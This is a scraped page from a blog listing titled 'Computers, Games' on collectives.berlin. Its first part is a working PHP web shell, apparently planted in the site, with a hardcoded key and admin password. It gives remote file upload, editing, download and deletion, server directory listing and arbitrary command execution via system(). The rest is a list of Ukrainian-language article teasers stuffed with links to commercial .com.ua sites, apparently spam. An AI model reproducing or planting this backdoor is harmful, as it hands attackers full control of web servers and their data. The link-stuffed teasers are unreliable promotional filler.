if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 16 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Що таке інфляція простими словами для всіх зрозуміло

    Задля розуміння економічних змін, які впливають на повсякденні витрати, https://goodfinance.com.ua/ важливо розглянути зростання цін на товари та послуги. Ці зміни можуть значно впливати на бюджет кожної сім’ї. Щоб адаптуватися до таких умов, спробуйте скоротити витрати на менш необхідні покупки. Це дозволить зберегти фінансову стабільність. Слід також звернути увагу на збереження коштів. Кращим рішенням буде відкриття…

    Click or not…

  • Романтичний вечір для закоханих в ресторані з особливою атмосферою

    Обирайте затишний заклад із приглушеним світлом та приємною музикою. Приділіть увагу оформленню інтер’єру; елементи декору, такі як свічки або квіти, https://womanworld.com.ua/ створять особливу атмосферу. Важливо, щоб місце розташування було зручним і доступним, аби вам не довелося зайвий раз хвилюватися про дорогу. Розгляньте можливість замовлення столика заздалегідь. Багато закладів пропонують спеціальне меню або знижки для пар,…

    Click or not…

  • Як вберегтися від туристичних пасток під час подорожі

    Вибирайте перевірені туристичні компанії для організації екскурсій. Це дозволить вам уникнути непередбачуваних ситуацій та неприємних сюрпризів. Обирайте відомі бренди, poehali.com.ua які мають позитивні відгуки. Читайте реальні відгуки на авторитетних ресурсах, щоб зрозуміти, чого очікувати. Варто також планувати бюджет заздалегідь. Визначте, які витрати можуть виникнути, включаючи харчування, перевезення та розваги. Підготуйте трохи готівки на випадок, якщо…

    Click or not…

  • Військові реформатори та їх вплив на українську армію сьогодні

    Актуальність впровадження нових підходів в оборонному секторі є надзвичайно важливою. Розроблення та реалізація комплексної стратегії для сучасних потреб національної безпеки вимагає від керівництва зважених рішень та адекватних дій. Необхідно зосередитися на інтеграції передових технологій та методів управління, https://infobanks.com.ua/ які підвищать оперативність і готовність структур. Наступним кроком є оптимізація навчальних програм, що дозволить забезпечити глибоке оволодіння…

    Click or not…

  • Веселі іграшки для захоплюючих розваг з котами вдома

    Чудовим рішенням для насичення життя ваших улюбленців є інтерактивні тренажери, які забезпечують фізичні навантаження та розваги. Наприклад, м’ячі з вбудованими світлодіодами, https://kotok.com.ua/ які світяться під час руху, привертають увагу і спонукають до продовження ігор. Варто також звернути увагу на вудочки з хвостиками або пір’ям–вони дозволяють чітко взаємодіяти з вашим другом, підтримуючи його в енергійній активності.…

    Click or not…

  • Стильні аксесуари для щоденного образу жінки на всі випадки

    Серед незаперечних елементів щоденного вбрання варто відзначити якісний ремінь. Він не лише акцентує увагу на талії, https://lidiastyle.com.ua/ але й здатен перетворити простий аутфіт на більш елегантний. Вибирайте моделі з натуральної шкіри або стильного текстилю, що гармонує з вашим стилем. Обирайте невеликі, але вражаючі прикраси, такі як серйозні серйги чи кулони. Вони здатні надати вашому вигляду…

    Click or not…

  • Зміни у міській інфраструктурі України та їхні наслідки для мешканців

    Впровадження сучасних технологій у розвитку громадських просторів потребує узгодженого підходу до планування та реалізації проектів. Важливо акцентувати на інтеграції розумних рішень у транспортні системи, що може неодмінно зменшити затори й поліпшити якість життя мешканців. Рекомендується використовувати методи автоматизації, architector.com.ua такі як смарт-світлофори, які реагують на потік автомобілів і пішоходів. Актуальною практикою стало додавання нових велосипедних…

    Click or not…

  • Зимові види спорту: гірські лижі, сноуборд та інше

    Зимові види спорту завжди привертали увагу людей, https://cloudjournal.com.ua які шукають активний відпочинок та адреналін. Серед них гірські лижі та сноуборд є найбільш популярними. У цій статті ми розглянемо ці види спорту, їх особливості, переваги, а також інші зимові активності, які можуть стати чудовою альтернативою. Гірські лижі Гірські лижі – це один із найпопулярніших зимових видів…

    Click or not…

  • Windows 11: огляд нових функцій та враження від використання

    Windows 11, it-online.com.ua нова операційна система від Microsoft, була представлена у червні 2021 року і стала доступною для користувачів з жовтня того ж року. Ця версія ОС обіцяє значні покращення в порівнянні з попередніми версіями, зокрема Windows 10. У цьому звіті ми розглянемо основні нові функції Windows 11, а також поділимося враженнями від її використання.…

    Click or not…

  • Як запобігти травмам під час занять спортом для успішних результатів

    Правильний розігрів є першим кроком до зменшення ризиків під час тренувань. Виконуйте динамічні рухи протягом 10-15 хвилин, щоб підготувати м’язи та суглоби. Це може включати ходьбу, легкий біг, https://popsport.com.ua/ або активні вправи для окремих груп м’язів. Запам’ятайте, що чим ретельніше ви підготуєте тіло, тим менше шансів на неприємності. Дотримуйтесь правильної техніки виконання вправ. Кожне рух…

    Click or not…